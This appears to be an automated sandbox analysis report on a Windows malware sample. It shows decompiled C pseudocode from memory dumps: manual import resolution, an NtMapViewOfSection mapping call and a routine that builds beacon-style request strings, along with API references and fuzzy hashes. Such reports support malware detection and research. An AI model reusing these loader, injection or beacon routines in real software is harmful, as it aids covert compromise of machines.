0x024c36ce
0x024c36ce
0x024c36d5
0x024c36d9
0x024c36dc
0x024c36e4
0x024c36e6
0x024c36ed
0x024c36f0
0x024c36f1
0x024c36f8
0x024c36fc
0x024c3705
0x024c3709
0x024c3712
0x024c3716
0x024c371f
0x024c3723
0x024c3724
0x024c3730
0x024c3737
0x024c373d
0x024c373d
0x024c373e
0x024c373f
0x024c3742
0x024c374c
0x024c374e
0x024c375a
0x024c3761
0x024c3767
0x024c3767
0x024c3768
0x024c3770
0x024c3772
0x024c377c
0x024c377e
0x024c3785
0x024c3788
0x024c3794
0x024c379b
0x024c37a1
0x024c37a2
0x024c37a2
0x024c37a3
0x024c37b2
0x024c37b4
0x024c37be
0x024c37c1
0x024c37c5
0x024c37d1
0x024c37d4
0x024c37de
0x024c37e1
0x024c37ed
0x024c37f4
0x024c37fa
0x024c37fb
0x024c37fb
0x024c37fe
0x024c3806
0x024c3808
0x024c3809
0x024c3814
0x024c381b
0x024c381d
0x024c381d
0x024c381e
0x024c381e
0x024c3821
0x024c382c
0x024c382e
0x024c3831
0x024c3842
0x024c3846
0x024c384a
0x024c3852
0x024c3855
0x024c3858
0x024c385f
0x024c3862
0x024c3862
0x024c3868
0x024c3872
0x024c3874
0x024c3875
0x024c3875
0x024c3879
0x024c387c
0x024c387f
0x024c388d
0x024c3890
0x024c38a1
0x024c38ad
0x024c38ad
0x024c38ad
0x024c38af
0x024c38b9
0x024c38bb
0x024c38bc
0x024c38bc
0x024c38bc
0x024c38c1
0x024c38c2
0x024c38cf
0x024c38d7
0x024c38de
0x024c38e4
0x024c38e5
0x024c38f4
0x024c38f6
0x024c38fc
0x024c38fe
0x024c38ff
0x024c3902
0x024c3905
0x024c390b
0x024c390f
0x024c3912
0x024c3912
0x024c391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 024C3862

Strings

@, xrefs: 024C3831

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 69d62f84b94052f6fa1b8593f1097994b36c319ee02035f60a9a0eb923e877dd
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 0FF16E72C04604EFEB049F64C8897AEBBF5FF84715F1584AEDC88AB245CB782550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001745(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x1000414c;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x10001745
0x1000174e
0x10001753
0x10001759
0x10001762
0x10001768
0x1000176a
0x1000176d
0x10001772
0x10001779
0x10001779
0x1000177d
0x10001785
0x10001788
0x00000000
0x00000000
0x1000178e
0x10001798
0x1000179a
0x1000179d
0x100017a0
0x100017a4
0x100017ac
0x100017ae
0x100017b1
0x10001819
0x10001819
0x1000181d
0x00000000
0x00000000
0x100017b6
0x100017bc
0x100017be
0x100017d1
0x100017d4
0x100017d4
0x100017d4
0x100017d8
0x100017c0
0x100017c0
0x100017c8
0x100017ca
0x00000000
0x00000000
0x00000000
0x00000000
0x100017ca
0x100017b8
0x100017b8
0x100017cc
0x100017cc
0x100017cc
0x100017db
0x100017de
0x100017e0
0x100017e7
0x100017e2
0x100017e2
0x100017e2
0x100017ef
0x100017f5
0x100017f7
0x10001827
0x100017f9
0x100017f9
0x100017fc
0x100017fe
0x10001806
0x10001806
0x1000180b
0x1000180d
0x10001814
0x10001816
0x10001816
0x10001816
0x00000000
0x10001816
0x00000000
0x100017f7
0x100017a6
0x100017a8
0x100017aa
0x00000000
0x00000000
0x100017aa
0x1000182a
0x1000182a
0x10001831
0x10001836
0x00000000
0x00000000
0x1000183c
0x10001847
0x00000000
0x10001847
0x1000183e
0x1000183e
0x10001844
0x00000000
0x10001844
0x10001772
0x10001848
0x1000184d

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D
GetProcAddress.KERNEL32(?,00000000), ref: 100017EF

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction ID: c607def5a2bc0e5299d97bb95015c1db0b928527211c0f3006954d548cbcd348
Opcode Fuzzy Hash: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction Fuzzy Hash: 78313675A0420A9FEB55CF99C880AEEB7F8FF04384F258069D805E7248EB70DA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E10001D9F(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x10001db1
0x10001db7
0x10001dc5
0x10001dcc
0x10001dd1
0x10001dd7
0x00000000
0x10001dd8
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 49ce00a74c5026685ddf57a3213c5fc1fdcbf11da22bef7e297f1a427f47f248
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 42F01CB690020CBFEB119FA5DC85C9FBBBDEB44298B10497AB652E1094D6309E089A60

Uniqueness

Uniqueness Score: -1.00%

Function 00A18B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00A18B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0xa1d018; // 0xd1eb352c
				asm("bswap eax");
				_t61 =  *0xa1d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0xa1d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0xa1d00c; // 0xeec43f25
				asm("bswap eax");
				_t64 =  *0xa1d27c; // 0x271a5a8
				_t3 = _t64 + 0xa1e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0xa1d02c,  *0xa1d004, _t59);
				_t67 = E00A11C1A();
				_t68 =  *0xa1d27c; // 0x271a5a8
				_t4 = _t68 + 0xa1e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E00A154BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0xa1d27c; // 0x271a5a8
					_t7 = _t127 + 0xa1e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0xa1d238, 0, _v8);
				}
				_t73 = E00A17649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0xa1d27c; // 0x271a5a8
					_t11 = _t122 + 0xa1e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0xa1d238, 0, _v8);
				}
				_t147 =  *0xa1d32c; // 0x31395b0
				_t75 = E00A19395( &E00A1D00A, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0xa1d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0xa1d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0xa1d238, _t153, _v20);
						goto L26;
					}
					E00A17A80(GetTickCount());
					_t82 =  *0xa1d32c; // 0x31395b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0xa1d32c; // 0x31395b0
					__imp__(_t86 + 0x40);
					_t88 =  *0xa1d32c; // 0x31395b0
					_t149 = E00A18307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0xa1d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0xa1c2ac);
					_push(_t149);
					_t94 = E00A13CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0xa1d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E00A1809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E00A1A1B0();
						L22:
						HeapFree( *0xa1d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E00A143DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E00A1163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E00A19039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E00A185DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E00A19039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x00a18b94
0x00a18b94
0x00a18b94
0x00a18b9f
0x00a18ba6
0x00a18ba8
0x00a18ba8
0x00a18bb5
0x00a18bc0
0x00a18bc3
0x00a18bc8
0x00a18bd1
0x00a18bd4
0x00a18bd9
0x00a18bdc
0x00a18be1
0x00a18be4
0x00a18bf0
0x00a18bfd
0x00a18bff
0x00a18c05
0x00a18c0a
0x00a18c15
0x00a18c17
0x00a18c1a
0x00a18c1c
0x00a18c23
0x00a18c29
0x00a18c2c
0x00a18c2f
0x00a18c34
0x00a18c41
0x00a18c43
0x00a18c49
0x00a18c53
0x00a18c53
0x00a18c55
0x00a18c5c
0x00a18c5f
0x00a18c62
0x00a18c67
0x00a18c74
0x00a18c76
0x00a18c84
0x00a18c84
0x00a18c86
0x00a18c94
0x00a18c99
0x00a18c9d
0x00a18ca0
0x00a18e63
0x00a18e6d
0x00a18e76
0x00a18ca6
0x00a18cb2
0x00a18cba
0x00a18cbd
0x00a18e57
0x00a18e61
0x00000000
0x00a18e61
0x00a18cc9
0x00a18cce
0x00a18cd7
0x00a18ce8
0x00a18cec
0x00a18cf5
0x00a18cfb
0x00a18d0a
0x00a18d11
0x00a18d1a
0x00a18d20
0x00a18e4b
0x00a18e55
0x00000000
0x00a18e55
0x00a18d2c
0x00a18d32
0x00a18d33
0x00a18d3a
0x00a18d3d
0x00a18e41
0x00a18e49
0x00000000
0x00a18e49
0x00a18d46
0x00a18d4d
0x00a18d55
0x00a18d5a
0x00a18d63
0x00a18d69
0x00a18d70
0x00a18d77
0x00a18d7a
0x00a18e79
0x00a18e2d
0x00a18e2d
0x00a18e32
0x00a18e3d
0x00a18e3f
0x00000000
0x00a18e3f
0x00a18d84
0x00a18d8b
0x00a18d8e
0x00a18d93
0x00a18d9e
0x00a18da3
0x00a18da6
0x00a18dac
0x00a18db2
0x00a18db8
0x00a18dbb
0x00a18dc1
0x00a18dc4
0x00a18dc9
0x00a18dcd
0x00a18dcd
0x00a18dd9
0x00a18de5
0x00a18de9
0x00a18deb
0x00a18df0
0x00a18df2
0x00a18df7
0x00a18dfc
0x00a18e09
0x00a18e11
0x00a18e14
0x00a18e14
0x00a18df0
0x00000000
0x00a18ddb
0x00a18ddf
0x00a18e16
0x00a18e19
0x00a18e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00a18e22
0x00a18de1
0x00000000
0x00a18de1
0x00a18dd9

APIs

GetTickCount.KERNEL32 ref: 00A18BA8
wsprintfA.USER32 ref: 00A18BF8
wsprintfA.USER32 ref: 00A18C15
wsprintfA.USER32 ref: 00A18C41
HeapFree.KERNEL32(00000000,?), ref: 00A18C53
wsprintfA.USER32 ref: 00A18C74
HeapFree.KERNEL32(00000000,?), ref: 00A18C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00A18CB2
GetTickCount.KERNEL32 ref: 00A18CC3
RtlEnterCriticalSection.NTDLL(03139570), ref: 00A18CD7
RtlLeaveCriticalSection.NTDLL(03139570), ref: 00A18CF5

Part of subcall function 00A18307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,00A1A428,?,031395B0), ref: 00A18332
Part of subcall function 00A18307: lstrlen.KERNEL32(?,?,?,00A1A428,?,031395B0), ref: 00A1833A
Part of subcall function 00A18307: strcpy.NTDLL ref: 00A18351
Part of subcall function 00A18307: lstrcat.KERNEL32(00000000,?), ref: 00A1835C
Part of subcall function 00A18307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,00A1A428,?,031395B0), ref: 00A18379

StrTrimA.SHLWAPI(00000000,00A1C2AC,?,031395B0), ref: 00A18D2C

Part of subcall function 00A13CC8: lstrlen.KERNEL32(03139910,00000000,00000000,7742C740,00A1A453,00000000), ref: 00A13CD8
Part of subcall function 00A13CC8: lstrlen.KERNEL32(?), ref: 00A13CE0
Part of subcall function 00A13CC8: lstrcpy.KERNEL32(00000000,03139910), ref: 00A13CF4
Part of subcall function 00A13CC8: lstrcat.KERNEL32(00000000,?), ref: 00A13CFF

lstrcpy.KERNEL32(00000000,?), ref: 00A18D4D
lstrcpy.KERNEL32(?,?), ref: 00A18D55
lstrcat.KERNEL32(?,?), ref: 00A18D63
lstrcat.KERNEL32(?,00000000), ref: 00A18D69

Part of subcall function 00A1809F: lstrlen.KERNEL32(?,00000000,00A1D330,00000001,00A12200,00A1D00C,00A1D00C,00000000,00000005,00000000,00000000,?,?,?,00A196C1,00A123E9), ref: 00A180A8
Part of subcall function 00A1809F: mbstowcs.NTDLL ref: 00A180CF
Part of subcall function 00A1809F: memset.NTDLL ref: 00A180E1

wcstombs.NTDLL ref: 00A18DFC

Part of subcall function 00A1163F: SysAllocString.OLEAUT32(?), ref: 00A11680
Part of subcall function 00A1163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 00A11702
Part of subcall function 00A1163F: StrStrIW.SHLWAPI(?,006E0069), ref: 00A11741

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

HeapFree.KERNEL32(00000000,?,?), ref: 00A18E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00A18E49
RtlFreeHeap.NTDLL(00000000,?,?,031395B0), ref: 00A18E55
HeapFree.KERNEL32(00000000,?), ref: 00A18E61
RtlFreeHeap.NTDLL(00000000,?), ref: 00A18E6D

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: d407a40fc6604cc0d43cfef53b198ea766f0ee8041201652fc5454744b84c19f
Instruction ID: 045524cc0b9269f939ec0cc2373254ce59d1d05466b333268a5ae4d53b14ef9d
Opcode Fuzzy Hash: d407a40fc6604cc0d43cfef53b198ea766f0ee8041201652fc5454744b84c19f
Instruction Fuzzy Hash: AA912671900208EFCB11DFA8DD89AEE7BB9EF48350F148055F819E7261DB35D992DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A1ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00A1ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0xa10000;
				_t115 = _t139[3] + 0xa10000;
				_t131 = _t139[4] + 0xa10000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0xa10000;
				_v16 = _t139[5] + 0xa10000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0xa10002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0xa1d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0xa1d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0xa1d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0xa1d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0xa1d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0xa1d198; // 0x0
										 *_t102 = _t125;
										 *0xa1d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0xa1d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x00a1adf4
0x00a1ae0a
0x00a1ae10
0x00a1ae12
0x00a1ae17
0x00a1ae1d
0x00a1ae22
0x00a1ae25
0x00a1ae33
0x00a1ae3a
0x00a1ae3d
0x00a1ae40
0x00a1ae41
0x00a1ae44
0x00a1ae47
0x00a1ae4a
0x00a1ae4f
0x00a1ae5e
0x00000000
0x00a1ae64
0x00a1ae6e
0x00a1ae78
0x00a1ae7d
0x00a1ae7f
0x00a1ae89
0x00a1ae8c
0x00a1ae8f
0x00a1ae95
0x00a1ae97
0x00a1ae97
0x00a1ae9a
0x00a1ae9d
0x00a1aea2
0x00a1aea6
0x00a1aeb9
0x00a1aebb
0x00a1af63
0x00a1af63
0x00a1af6a
0x00a1af6d
0x00a1af77
0x00a1af77
0x00a1af7b
0x00a1aff9
0x00a1affc
0x00a1affe
0x00a1affe
0x00a1b005
0x00a1b007
0x00a1b011
0x00a1b014
0x00a1b017
0x00a1b017
0x00000000
0x00a1af7d
0x00a1af80
0x00a1afae
0x00a1afb8
0x00a1afbc
0x00a1afc4
0x00a1afc7
0x00a1afce
0x00a1afd8
0x00a1afd8
0x00a1afdc
0x00a1afe1
0x00a1aff0
0x00a1aff6
0x00a1aff6
0x00a1afdc
0x00000000
0x00a1af87
0x00a1af8a
0x00a1af92
0x00a1afa7
0x00a1afac
0x00000000
0x00000000
0x00a1afac
0x00000000
0x00a1af92
0x00a1af80
0x00a1af7b
0x00a1aec1
0x00a1aec8
0x00a1aed8
0x00a1aedb
0x00a1aee1
0x00a1aee5
0x00a1af28
0x00a1af34
0x00a1af5d
0x00a1af36
0x00a1af3a
0x00a1af40
0x00a1af48
0x00a1af4a
0x00a1af4d
0x00a1af53
0x00a1af55
0x00a1af55
0x00a1af48
0x00a1af3a
0x00000000
0x00a1af34
0x00a1aeed
0x00a1aef0
0x00a1aef7
0x00a1af07
0x00a1af0a
0x00a1af1a
0x00000000
0x00a1af20
0x00a1af01
0x00a1af05
0x00000000
0x00000000
0x00000000
0x00a1af05
0x00a1aed2
0x00a1aed6
0x00000000
0x00000000
0x00000000
0x00a1aed6
0x00a1aeaf
0x00a1aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1AE5E
LoadLibraryA.KERNELBASE(?), ref: 00A1AEDB
GetLastError.KERNEL32 ref: 00A1AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 00A1AF1A

Strings

$, xrefs: 00A1AE33

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 5f9702cc62f2f1768de9b28c1b786a5b777a38e9c7cb97fdbac97e72a0c77d42
Instruction ID: b6ca0a033182326aed16f0b3e4a727b7860df66301fefcd919bf222b0e0678ae
